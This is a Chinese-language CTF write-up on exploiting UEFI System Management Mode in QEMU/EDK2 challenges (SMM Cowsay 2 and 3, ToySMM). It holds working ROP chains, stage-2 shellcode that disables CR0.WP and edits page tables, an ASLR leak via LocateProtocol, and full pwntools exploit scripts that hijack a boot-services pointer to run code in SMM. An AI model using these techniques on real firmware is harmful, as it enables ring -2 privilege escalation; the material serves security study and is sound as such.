但这里选择使用B方法

不过,构建 ROP 链存在一些问题:在 call 到我们的地址之后,我们失去了对执行的控制,因为我们无法控制 SMM 堆栈。简单地用我们的 shellcode 缓冲区的地址覆盖函数指针并在 SMM 中执行任意代码会很好,但正如我们之前所看到的,SMM 无法访问该内存区域,这只会导致崩溃。

qemu启动脚本增加

-global isa-debugcon.iobase=0x402 -debugcon file:../../debug.log

现在可以运行挑战并查看 debug.log 。在各种调试消息中,EDK2 打印它加载的每个驱动程序的基地址和入口点:

1
2
3
4
5
6
7
8
9
10
$ cd handout/run; ./run.sh; cd -
$ cat debug.log | grep 'SMM driver'
Loading SMM driver at 0x00007FE3000 EntryPoint=0x00007FE526B CpuIo2Smm.efi
Loading SMM driver at 0x00007FD9000 EntryPoint=0x00007FDC6E4 SmmLockBox.efi
Loading SMM driver at 0x00007FBF000 EntryPoint=0x00007FCC159 PiSmmCpuDxeSmm.efi
Loading SMM driver at 0x00007F99000 EntryPoint=0x00007F9C851 FvbServicesSmm.efi
Loading SMM driver at 0x00007F83000 EntryPoint=0x00007F8BAD0 VariableSmm.efi
Loading SMM driver at 0x00007EE7000 EntryPoint=0x00007EE99E7 SmmCowsay.efi
Loading SMM driver at 0x00007EDF000 EntryPoint=0x00007EE2684 CpuHotplugSmm.efi
Loading SMM driver at 0x00007EDD000 EntryPoint=0x00007EE2A1E SmmFaultTolerantWriteDxe.efi

毫无疑问,所有这些驱动程序的 .text 部分都将包含我们可以在 SMM 中执行的代码。让我们使用 EDK2 调试日志提供的基地址来使用 ROPGadget 来查找它们:

1
2
3
4
cd handout/edk2_artifacts
ROPgadget --binary CpuIo2Smm.efi --offset 0x00007FE3000 >> ../../gadgets.txt
ROPgadget --binary SmmLockBox.efi --offset 0x00007FD9000 >> ../../gadgets.txt
# ... and so on ...

尽管我们有gadget,但我们需要多个gadget来构建有用的 ROP 链。在第一个 ret 之后,如果我们不以某种方式将堆栈(RSP)移动到受控内存区域,控制权将返回到 SmmCowsayHandler ,因此我们需要的第一个gadget是能够将堆栈迁移到我们想要的位置的一个。

有这么一个非常好的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// MdePkg/Library/BaseLib/X64/LongJump.nasm
CetDone:

mov rbx, [rcx]
mov rsp, [rcx + 8]
mov rbp, [rcx + 0x10]
mov rdi, [rcx + 0x18]
mov rsi, [rcx + 0x20]
mov r12, [rcx + 0x28]
mov r13, [rcx + 0x30]
mov r14, [rcx + 0x38]
mov r15, [rcx + 0x40]
// ...
jmp qword [rcx + 0x48]

我们的函数指针将使用 CommBuffer 作为第一个参数 (RCX) 进行调用,因此跳转到此处将直接从我们提供的数据加载一堆寄存器,包括 RSP。

这非常好,确实作者的解决方案使用它可以轻松迁移堆栈并继续 ROP 链,但是 ROPgadget 不够聪明,无法为我们找到这个gadget

所以原作者选用了一种更为复杂的方法

step1

无论如何,我们仍然有一个不错的技巧。我们确实无法控制 SMM 堆栈,但是如果我们的某些寄存器溢出到堆栈上怎么办?使用 ret 0x123add rsp, 0x123; ret 形式的gadget,我们将能够向前移动堆栈指针并使用我们在 SMM 堆栈上控制的任何内容作为另一个gadget。为了检查这一点,我们可以将调试器附加到 QEMU 并在 SmmCowsayHandler() 中调用 mDebugData.CowsayFunc() 时中断。

我们只需在命令行中添加 -s 即可在 QEMU 中启用调试,然后从 GDB 附加到它。

大佬编写了一个简单的 Python GDB 插件来从 .debug 文件加载调试符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import gdb
import os

class AddAllSymbols(gdb.Command):
def __init__ (self):
super (AddAllSymbols, self).__init__ ('add-all-symbols',
gdb.COMMAND_OBSCURE, gdb.COMPLETE_NONE, True)

def invoke(self, args, from_tty):
print('Adding symbols for all EFI drivers...')

with open('debug.log', 'r') as f:
for line in f:
if line.startswith('Loading SMM driver at'):
line = line.split()
base = line[4]
elif line.startswith('Loading driver at') or line.startswith('Loading PEIM at'):
line = line.split()
base = line[3]
else:
continue

path = 'handout/edk2_artifacts/' + line[-1].replace('.efi', '.debug')
if os.path.isfile(path):
gdb.execute('add-symbol-file ' + path + ' -readnow -o ' + base)

AddAllSymbols()

漏洞利用的第一部分与 SMM Cowsay 1 相同:获取 BootServices->AllocatePool->LocateProtocol ,找到 SmmCommunication 协议,分配一些内存进行写入我们的消息,并通过其 SMI 处理程序将其发送到 SmmCowsay 。唯一改变的是我们发送的内容:这次 EFI_SMM_COMMUNICATE_HEADER->Data 字段将填充 400 字节的垃圾字符串,再加上 8 个字节以覆盖函数指针。

我们将使用易于识别的值填充所有未使用的通用寄存器,以便我们可以看到堆栈上溢出的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
input('Attach GDB now and press [ENTER] to continue...')

payload = 'A'.encode('utf-16-le') * 200 + p64(0x4141414141414141)

code = asm(f'''
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, {0x18 + len(payload)}
cld
rep movsb

/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}

mov ebx, 0x0b0b0b0b
mov esi, 0x01010101
mov edi, 0x02020202
mov ebp, 0x03030303
mov r9 , 0x09090909
mov r10, 0x10101010
mov r11, 0x11111111
mov r12, 0x12121212
mov r13, 0x13131313
mov r14, 0x14141414
mov r15, 0x15151515
call rax

test rax, rax
jnz fail
ret

fail:
ud2

data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad {len(payload)} /* Buffer->MessageLength */
/* payload will be appended here to serve as Buffer->Data */
''')

conn.sendline(code.hex().encode() + payload.hex().encode() + b'\ndone')
conn.interactive() # Let's see what happens

现在我们可以使用以下脚本启动漏洞利用并附加 GDB:

1
2
3
4
5
6
7
8
$ cat script.gdb
target remote :1234

source gdb_plugin.py
add-all-symbols

break *(SmmCowsayHandler + 0x302)
continue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gdb -x script.gdb
...
Breakpoint 1, 0x0000000007ee92c5 in SmmCowsayHandler (CommBufferSize=<optimized out>, CommBuffer=0x69bb030, ...
(gdb) i r rax
rax 0x4141414141414141 4702111234474983745

(gdb) si
0x4141414141414141 in ?? ()

(gdb) x/100gx $rsp
0x7fb6a78: 0x0000000007ee92c7 0x0000000007ffa8d8
0x7fb6a88: 0x0000000007ff0bc5 0x00000000069bb030
0x7fb6a98: 0x0000000007fb6c38 0x0000000007fb6b80
...
...
...
0x7fb6b48: 0x00000000069bb018 0x0000000013131300
0x7fb6b58: 0x0000000014141414 0x0000000015151515

看起来 R13(除了 LSB)、R14 和 R15 不知何故在 rsp + 0xe0 处溢出到堆栈上。从 call rax 返回后, SmmCowsayHandler 中的代码执行以下操作

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) x/30i SmmCowsayHandler + 0x302
0x7ee92c5 <SmmCowsayHandler+770>: call rax
0x7ee92c7 <SmmCowsayHandler+772>: test bl,bl
... a bunch of useless stuff ...
0x7ee92f7 <SmmCowsayHandler+820>: add rsp,0x40
0x7ee92fb <SmmCowsayHandler+824>: xor eax,eax
0x7ee92fd <SmmCowsayHandler+826>: pop rbx
0x7ee92fe <SmmCowsayHandler+827>: pop rsi
0x7ee92ff <SmmCowsayHandler+828>: pop rdi
0x7ee9300 <SmmCowsayHandler+829>: pop r12
0x7ee9302 <SmmCowsayHandler+831>: pop r13
0x7ee9304 <SmmCowsayHandler+833>: ret

因此,在最后一个 ret 时,我们将使寄存器溢出到堆栈上的距离更近。非常方便的是,在我们转储的小工具中,在 VariableSmm.efi + 0x8a49 处有一个 ret 0x70 。我们可以使用这个小工具将 RSP 精确地移动到溢出的 R14 之上,从而使我们能够执行另一个 pop rsp; ret 形式的gadget,这将从 R15 的值中获取 RSP 的新值堆栈!在此之后,我们完全控制了堆栈,我们可以编写更长的ROP链。

step 2

迁移堆栈并启动真正的 ROP 链后,我们需要以下gadget

  • 设置 CR0 以便能够禁用 CR0.WP 编辑页表。
  • 写入任意地址的内存以覆盖标志地址的页表条目。
  • 从内存读入寄存器以获得标志。

只要有一点耐心,所有这些都可以轻松找到,因为我们手上有很多gadget

由于地址不会改变,所以我们实际上不需要担心遍历页表:我们只需使用 GDB 找到 0x44440000 的页表条目的地址,然后将其硬编码到漏洞利用中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) set $lvl4_idx = (0x44440000 >> 12 + 9 + 9 + 9) & 0x1ff
(gdb) set $lvl3_idx = (0x44440000 >> 12 + 9 + 9) & 0x1ff
(gdb) set $lvl2_idx = (0x44440000 >> 12 + 9) & 0x1ff
(gdb) set $lvl1_idx = (0x44440000 >> 12) & 0x1ff
(gdb) set $lvl4_entry = *(unsigned long *)($cr3 + 8 * $lvl4_idx)
(gdb) set $lvl3_entry = *(unsigned long *)(($lvl4_entry & 0xffffffff000) + 8 * $lvl3_idx)
(gdb) set $lvl2_entry = *(unsigned long *)(($lvl3_entry & 0xffffffff000) + 8 * $lvl2_idx)

(gdb) set $lvl1_entry_addr = ($lvl2_entry & 0xffffffff000) + 8 * $lvl1_idx
(gdb) set $lvl1_entry = *(unsigned long *)$lvl1_entry_addr

(gdb) printf "PTE at 0x%lx, value = 0x%016lx\n", $lvl1_entry_addr, $lvl1_entry

PTE at 0x7ed0200, value = 0x8000000044440066

请注意 0x8000000044440066 设置位 63 (NX)与位 0 , 1 未设置(不存在,不可读写)。我们需要设置位 0 以便将页面标记为存在,因此我们想要的值为 0x8000000044440067

从 GDB 检查 CR0 的值,我们得到 0x80010033 :关闭 WP 位会得到 0x80000033 ,所以这就是我们在尝试编辑页表条目之前要写入 CR0 的内容在 0x7ed0200

找到我们需要的gadegt后,真正的 ROP 链是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ret_0x70 = 0x7F83000 + 0x8a49 # VariableSmm.efi + 0x8a49: ret 0x70
payload = 'A'.encode('utf-16-le') * 200 + p64(ret_0x70)

real_chain = [
# Unset CR0.WP
0x7f8a184 , # pop rax ; ret
0x80000033, # -> RAX
0x7fcf70d , # mov cr0, rax ; wbinvd ; ret

# Set PTE of flag page as present
# PTE at 0x7ed0200, original value = 0x8000000044440066
0x7f8a184 , # pop rax ; ret
0x7ed0200 , # -> RAX
0x7fc123d , # pop rdx ; ret
0x8000000044440067, # -> RDX
0x7fc9385 , # mov dword ptr [rax], edx ; xor eax, eax ;
# pop rbx ; pop rbp ; pop r12 ; ret
0x1337, # filler
0x1337, # filler
0x1337, # filler

# Read flag into RAX and then let everything chain
# crash to simply leak it from the register dump
0x7ee8222 , # pop rsi ; ret (do not mess up RAX with sub/add)
0x0 , # -> RSI
0x7fc123d , # pop rdx ; ret (do not mess up RAX with sub/add)
0x0 , # -> RDX
0x7ee82fe , # pop rdi ; ret
0x44440000, # -> RDI (flag address)
0x7ff7b2c , # mov rax, qword ptr [rdi] ; sub rsi, rdx ; add rax, rsi ; ret
]

将flag读到rax寄存器中

然后执行几次即可获得完整的flag

uictf2022-cowsay3

题目描述

1
We fired that engineer. Unfortunately, other engineers refused to touch this code, but instead suggested to integrate some ASLR code found online. Additionally, we hardened the system with SMM_CODE_CHK_EN and kept DEP on. Now that we have the monster combination of ASLR+DEP, we should surely be secure, right?

在之前的基础上又添加了ASLR以及DEP,但好在smmcowsay.efi的代码并没有改变

  1. SMM_CODE_CHK_EN 已启用:这是 MSR_SMM_FEATURE_CONTROL MSR中的一个位,它控制SMM是否可以执行其他两个MSR定义的范围之外的代码: IA32_SMRR_PHYSBASEIA32_SMRR_PHYSMASK (基本上在SMRAM之外)。当设置 SMM_CODE_CHK_EN 时, MSR_SMM_FEATURE_CONTROL 的“Lock”位也在 QEMU 中设置,因此无法禁用此检查。

    这并不是真正的问题,因为我们并没有真正在 SMRAM 之外执行任何代码。假设我们找到了正确的小工具,我们已经可以通过一个简单的 ROP 链(利用 SMRAM 中已有的代码)获得我们想要的东西。

  2. ASLR 已添加到 EDK2(https://github.com/jyao1/SecurityEx来自 jyao1/SecurityEx 的原始补丁,有一些细微的更改):现在每个驱动程序都加载到不同的地址,该地址会更改每次启动,并使用 rdrand 指令获取 10 位熵。不用说,这使得像我们之前的漏洞利用那样使用硬编码地址变得不可能。

利用

解决ASLR最常见的办法就是泄露一个基址

我们如何泄露一些SMM地址以击败ASLR? EDK2 驱动程序注册了一堆协议。每个协议都有自己的 GUID,使用有效的 GUID 调用 BootServices->LocateProtocol 将返回指向协议结构的指针(如果存在),该结构驻留在实现协议的驱动程序中!这允许我们泄漏实现在执行代码时注册的协议的任何驱动程序的基地址(在简单的减法之后)

如果我们查看 EDK2 源代码中的文件MdePkg/MdePkg.dec,我们会看到一堆针对不同协议的 GUID。甚至无需浪费时间检查源代码的其他部分,我们就可以将它们全部转储并尝试请求其中的每一个,直到找到一个看起来有趣的地址。

再次,修补 run.sh 脚本,让 QEMU 将 EDK2 调试输出转储到文件中,就像我们对 SMM Cowsay 2 所做的那样,我们可以找到 SMBASE,在编写漏洞利用程序时假设它是 SMRAM 的起始地址。理论上,SMRAM可以在SMBASE之前和之后扩展,根据Intel Doc,SMBASE只是标记用于查找SMI处理程序和保存状态区域的入口点的基地址。

CPU[000] APIC ID=0000 SMBASE=07FAF000 SaveState=07FBEC00 Size=00000400

现在,使用我们在之前的两个挑战中使用的相同代码,我们可以检查 MdePkg/MdePkg.dec 中列出的每个协议 GUID,并查看返回的地址是否在 SMBASE 之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
with open('debug.log') as f:
for line in f:
if line.startswith('CPU[000] APIC ID=0000 SMBASE='):
smbase = int(line[31:31 + 8], 16)

# Manually or programmatically extract GUIDs from MdePkg/MdePkg.dec

for guid in guids:
code = asm(f'''
/* LocateProtocol(&guid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + protocol]
ret

fail:
ud2

guid:
.octa {guid}
protocol:
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RAX: 0x')
proto = int(conn.recvn(16), 16)

if proto > smbase:
log.info('Interesting protocol: GUID = 0x%x, ADDR = 0x%x', guid, proto)

果然,通过让脚本运行足够的时间,我们发现 gEfiSmmConfigurationProtocolGuid 返回一个指向协议地址的指针。查看已加载驱动程序的 debug.log ,我们可以看到该地址位于 PiSmmCpuDxeSmm.efi SMM 驱动程序内部,简单的减法即可得出其基地址。

gadget

现在我们可以看一下 PiSmmCpuDxeSmm.efi 中的gadgets。事实证明,我们很幸运:

  • 从 GDB 来看,我们仍然有 R13、R14 和 R15 以完全相同的偏移量溢出到 SMI 堆栈上。
  • 我们可以向前移动堆栈指针: ret 0x6d
  • 我们可以翻转堆栈: pop rsp; ret
  • 我们可以弹出 RAX 和其他寄存器: pop rax ; pop rbx ; pop r12 ; ret
  • 我们可以设置CR0: mov cr0, rax ; wbinvd ; ret
  • 我们有一个 write-what-where 原语: mov qword ptr [rbx], rax ; pop rbx ; ret

我们没有更多好的gadgets可以使用,所以这次在禁用 CR0.WP 后,我们不再使用 ROP 编写整个漏洞利用程序,而是使用 write-what-where gadget 来覆盖 PiSmmCpuDxeSmm.efi 的一段 .text 带有第 2 阶段 shellcode,然后简单地跳转到它。
唯一有点烦人的部分是 ret 0x6d gadget 将堆栈向前移动:这将导致堆栈未对齐,落在堆栈上溢出的 R13 值的 2 个最高有效字节中。这不是一个真正的问题,幸运的是 CPU(或者更好的是 QEMU)似乎并不关心未对齐的堆栈指针。我们只需使用 R{13,14,15} 进行一些位移即可将值很好地放入堆栈中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# SmmConfigurationProtocol leaked using LocateProtocol(gEfiSmmConfigurationProtocolGuid)
PiSmmCpuDxeSmm_base = SmmConfigurationProtocol - 0x16210
PiSmmCpuDxeSmm_text = PiSmmCpuDxeSmm_base + 0x1000

log.success('SmmConfigurationProtocol @ 0x%x', SmmConfigurationProtocol)
log.success('=> PiSmmCpuDxeSmm.efi @ 0x%x', PiSmmCpuDxeSmm_base)
log.success('=> PiSmmCpuDxeSmm.efi .text @ 0x%x', PiSmmCpuDxeSmm_text)

new_smm_stack = buffer + 0x800
ret_0x6d = PiSmmCpuDxeSmm_base + 0xfc8a # ret 0x6d
flip_stack = PiSmmCpuDxeSmm_base + 0x3c1c # pop rsp ; ret
pop_rax_rbx_r12 = PiSmmCpuDxeSmm_base + 0xd228 # pop rax ; pop rbx ; pop r12 ; ret
mov_cr0_rax = PiSmmCpuDxeSmm_base + 0x10a7d # mov cr0, rax ; wbinvd ; ret
write_primitive = PiSmmCpuDxeSmm_base + 0x3b8f # mov qword ptr [rbx], rax ; pop rbx ; ret

payload = 'A'.encode('utf-16-le') * 200 + p64(ret_0x6d)

正如我们刚才所说,我们将使用一些gadgets来创建 ROP 链,这些gadgets会将第二阶段 shellcode 写入 PiSmmCpuDxeSmm.efi.text 中,然后跳转到它。该 shellcode 必须遍历页表(这次由于 ASLR,我们无法预先计算 PTE 的地址),设置 PTE 上的当前位,然后将标志读入(一个或多个)寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
stage2_shellcode = asm(f'''
movabs rbx, 0xffffffff000

/* Walk page table */
mov rax, cr3
mov rax, qword ptr [rax]
and rax, rbx
mov rax, qword ptr [rax + 8 * 0x1]
and rax, rbx
mov rax, qword ptr [rax + 8 * 0x22]
and rax, rbx
mov rbx, rax
mov rax, qword ptr [rax + 8 * 0x40]

/* Set present bit */
or al, 1
mov qword ptr [rbx + 8 * 0x40], rax

/* Read flag and die so regs get dumped, GG! */
movabs rax, 0x44440000
mov rax, qword ptr [rax]
ud2
''')

Putting it all together

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
real_chain = [
# Unset CR0.WP
pop_rax_rbx_r12, # pop rax ; pop rbx ; pop r12 ; ret
0x80000033 , # -> RAX
0xdeadbeef , # filler
0xdeadbeef , # filler
mov_cr0_rax , # mov cr0, rax ; wbinvd ; ret
]

# Now that CR0.WP is unset, we can just patch SMM code and jump to it!
# Make the ROP chain write the stage 2 shellcode at PiSmmCpuDxeSmm_text
# 8 bytes at a time, then jump into it
for i in range(0, len(stage2_shellcode), 8):
chunk = stage2_shellcode[i:i + 8].ljust(8, b'\x90')
chunk = u64(chunk)

real_chain += [
pop_rax_rbx_r12 , # pop rax ; pop rbx ; pop r12 ; ret
chunk , # -> RAX
PiSmmCpuDxeSmm_text + i, # -> RBX
0xdeadbeef ,
write_primitive , # mov qword ptr [rbx], rax ; pop rbx ; ret
0xdeadbeef
]

real_chain += [PiSmmCpuDxeSmm_text]

# Transform real ROP chain into .quad directives to embed in the shellcode:
# .quad 0x7f8a184
# .quad 0x80000033
# ...
real_chain_size = len(real_chain) * 8
real_chain = '.quad ' + '\n.quad '.join(map(str, real_chain))

SMM的代码段是可写的,应该不是本题专属

Doubhe2024-ToySMM

有了前面三题的基础,这不是乱杀

先跑一下run.sh,看看程序是怎样运行的

启动后弹出了这么一个窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
FS0: Alias(s):HD0a65535a1:;BLK1:
PciRoot(0x0)/Pci(0x1F,0x2)/Sata(0x0,0xFFFF,0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
BLK0: Alias(s):
PciRoot(0x0)/Pci(0x1F,0x2)/Sata(0x0,0xFFFF,0x0)
BLK2: Alias(s):
PciRoot(0x0)/Pci(0x1F,0x2)/Sata(0x2,0xFFFF,0x0)
Shell> fs0:
FS0:\> mem
Memory Address 00000000069EE018 78 Bytes
069EE018: 49 42 49 20 53 59 53 54-46 00 02 00 78 00 00 00 *IBI SYSTF...x...*
069EE028: F8 83 E2 1D 00 00 00 00-18 D1 9B 06 00 00 00 00 *................*
069EE038: 00 00 01 00 00 00 00 00-98 DF F6 05 00 00 00 00 *................*
069EE048: F0 22 F6 05 00 00 00 00-18 68 20 06 00 00 00 00 *.".......h .....*
069EE058: 20 D1 79 05 00 00 00 00-18 C9 F6 05 00 00 00 00 * .y.............*
069EE068: 90 21 F6 05 00 00 00 00-98 EB 9E 06 00 00 00 00 *.!..............*
069EE078: 80 6B FD 06 00 00 00 00-0A 00 00 00 00 00 00 00 *.k..............*
069EE088: 98 EC 9E 06 00 00 00 00- *........*

Valid EFI Header at Address 00000000069EE018
---------------------------------------------
System: Table Structure size 00000078 revision 00020046
ConIn (0000000005F622F0) ConOut (000000000579D120) StdErr (0000000005F62190)
Runtime Services 00000000069EEB98
Boot Services 0000000006FD6B80
SAL System Table 0000000000000000
ACPI Table 0000000006B7E000
ACPI 2.0 Table 0000000006B7E014
MPS Table 0000000000000000
SMBIOS Table 00000000069D7000
FS0:\> ToyApp
$$$$$$$$$$$$$$$$$$$$$$$$$
$$ $$
$$ UEFI BackDoor :) $$
$$ Ring 0 priviledge $$
$$ $$
$$$$$$$$$$$$$$$$$$$$$$$$$

Type some shellcode with 'DONE' on a seperate line and press enter to execute.
Type 'QUIT' to quit the program.
Your shellcode:

熟悉的uefishell任意执行shellcode

TOYSMM

使用uefitools处理OVMF_CODE.fd

工具打开固件包后,搜索题目的名字关键字Toy

将找到的SMM驱动模块dump下来并ida打开

直奔ChildSwSmiHandler函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
EFI_STATUS __fastcall ChildSwSmiHandler(
EFI_HANDLE DispatchHandle,
const void *Context,
_BYTE *CommBuffer,
UINTN *CommBufferSize)
{
int v5; // [rsp+0h] [rbp-24h] BYREF
char v6[32]; // [rsp+4h] [rbp-20h] BYREF

if ( !CommBuffer || !CommBufferSize )
return 0x8000000000000002ui64;
v5 = 0x41414141;
if ( !sub_2340(CommBuffer + 16, &v5, 3i64) )
gBS->LocateProtocol(&EFI_ACPI_TABLE_PROTOCOL_GUID, 0i64, (void **)v6);
if ( &v5 != (int *)0x23330000 )
{
if ( !sub_2340((_BYTE *)0x23330000, &v5, 3i64) )
sub_1000();
}
return 0i64;
}

sub_2340函数用于匹配内存是否相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall sub_2340(_BYTE *a1, _BYTE *a2, __int64 a3)
{
bool v6; // zf

do
{
if ( !a3 )
break;
v6 = *a1++ == *a2++;
--a3;
}
while ( v6 );
return (unsigned __int8)*(a1 - 1) - (unsigned __int64)(unsigned __int8)*(a2 - 1);
}

sub_1000()就直接getflag了

但是无论如何第二个条件是一定不会满足的

1
2
if ( !sub_2340((_BYTE *)0x23330000, &v5, 3i64) )
sub_1000();

是永远不可能满足的

不过我们可以看到无论如何都是会执行

gBS->LocateProtocol(&EFI_ACPI_TABLE_PROTOCOL_GUID, 0i64, (void **)v6);

而且在DXE态下,我们是具有修改bootservice的权限的,那岂不是可以直接修改LocateProtocol函数指针为sub_1000(),然后发送SMI即可在SMM状态下任意地址执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(arch='amd64')
context.log_level='debug'
p = process('./run.sh')

p.recvuntil(b'Boot Services ')
boot_service = int(p.recvline(), 16)

log.info('BootService @ 0x%x', boot_service)

p.recvline()

AllocatePool = 0x6fd12f1
LocateProtocol = 0x6fcc7b4
mSmmCommunication = 0x6ad9310
Communicate = 0x6ad6abf
Guid = 0x9D76F4B1548E0872EC86B7F3B31CF11E

EfiRuntimeServicesData = 6

code = asm(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + buffer]
ret

fail:
ud2

buffer:
''')
p.sendline(code.hex().encode() + b'\ndone')

p.recvuntil(b'RAX: 0x')
buffer = int(p.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)
#//backdoor 0x7F06000
code = asm(f'''
mov qword ptr [{boot_service + 320}], 0x7F06000
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x38
cld
rep movsb

/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
mov r8, {buffer+0x30}
mov rax, {Communicate}
call rax

test rax, rax
jnz fail
mov r12, 0x23330000
ret

fail:
ud2

data:
.octa {Guid} /* Buffer->HeaderGuid */
.quad 0x18 /* Buffer->MessageLength */
.quad 0 /* Buffer->Data */
.quad 0
.quad 0x41414141
.quad 0x30
''')

p.sendline(code.hex().encode())
p.sendline(b'done')

p.interactive()

或者直接修改全局变量并使用out触发smi

不过还不是很清楚是怎么定位这些全局变量的(特别是smm_buffer),反编译去找?,不太懂,所以还是更喜欢第一种方法(已解决)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.arch = 'amd64'

p = process("./run.sh", shell=True)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

context.log_level = "debug"
smm_buffer = 0x6ad9380
guid = bytes.fromhex('1EF11CB3F3B786EC72088E54B1F4769D')
CommBuffer_offset = 56
BufferSize_offset = CommBuffer_offset + 8
ReturnStatus_offset = BufferSize_offset + 8
bootservice = 0x6FD6B80
backdoor = 0x7F06000
payload = asm('''

mov rcx, 0x6FD6B80 /* gBS->LocateProtocol = PrintFlag */
add rcx, 0x140
mov rdx, 0x7F06000
mov [rcx], rdx

mov rcx, 0x6ad9400 /* CommBuffer->HeaderGuid = ToySmmGuid */
mov rdx, 0xEC86B7F3B31CF11E
mov [rcx], rdx
add rcx, 8
mov rdx, 0x9D76F4B1548E0872
mov [rcx], rdx
add rcx, 8 /* CommBuffer->MessageLength = 4 */
mov rdx, 0x4
mov [rcx], rdx
add rcx, 24 /* CommBuffer->Data[24] = 'AAAA' */
mov rdx, 0x41414141
mov [rcx], rdx
add rcx, 8

mov rcx, 0x6ad93b8 /* mSmmCorePrivateData->CommunicationBuffer = CommBuffer */
mov rdx, 0x6ad9400
mov [rcx], rdx
add rcx, 8 /* mSmmCorePrivateData->BufferSize = 0x1c */
mov rdx, 0x1c
mov [rcx], rdx

xor eax, eax /* SMI */
mov dx, 0xb2
mov al, 0x00
outb dx, al
''')

ru('Your shellcode:')
raw_input(">")
sl(payload.hex())
sl("DONE")
p.interactive()

拾遗

函数调用栈

我们任意反汇编一个UEFI程序都可以看到其调用约定是Microsoft x64,因此参数在RCX、RDX、R8、R9中,然后堆栈。

uefishell

大多数的uefi类题目,最终提供给我们的交互接口都是一个uefishell,其允许我们直接输入机器码的十六进制表示,然后去以ring 0的身份去执行

然后出题人自己打上一些patch

最后我们能够直接看到的efi程序,一般就是这个

然后其一般还会能够与一个SMM驱动程序交互

当然其实也不一定,也有菜单类的uefi题目

GUID

UEFI中每一个protocol与服务都会有一个GUID(全局唯一标识符Globally Unique Identifier)

很多交互接口都需要用到guid去寻找对应的protocol

在ida中很容易找到对应的guid

对于一些全局变量来说,其guid是始终固定的

常见的如下(基于edk2)

name guid
gEfiSmmCommunicationProtocolGuid 0x32c3c5ac65db949d4cbd9dc6c68ed8e2

与SMM通信

一般uefi题目都会有两个关键的文件,分别是

  1. 前面提到的UEFIshell驱动处理程序,其是一个普通的uefi驱动程序,处于ring 0
  2. 以及一个运行在SMM状态下的模块(可能需要从OVMF.fd中提取)

我们真正需要关心的其实就是两者之间的交互

对于后者,其在执行时一般都会有运行类似这样一段代码注册一个要执行的处理程序(SMI handler)

1
2
3
4
5
Status = gSmst->SmiHandlerRegister (
SmmCowsayHandler,
&gEfiSmmCowsayCommunicationGuid,
&DispatchHandle
);

当 SMI 发生时,EDK2 注册的 SMI 处理程序会遍历已注册处理程序的链接列表,并选择合适的处理程序来运行。

第二个参数就是指向这个handler的guid的指针,经常能用上

SmiHandlerRegister声明如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
EFI_STATUS
EFIAPI
SmiHandlerRegister (
IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler,
IN CONST EFI_GUID *HandlerType OPTIONAL,
OUT EFI_HANDLE *DispatchHandle
)
{
SMI_HANDLER *SmiHandler;
SMI_ENTRY *SmiEntry;
LIST_ENTRY *List;

if ((Handler == NULL) || (DispatchHandle == NULL)) {
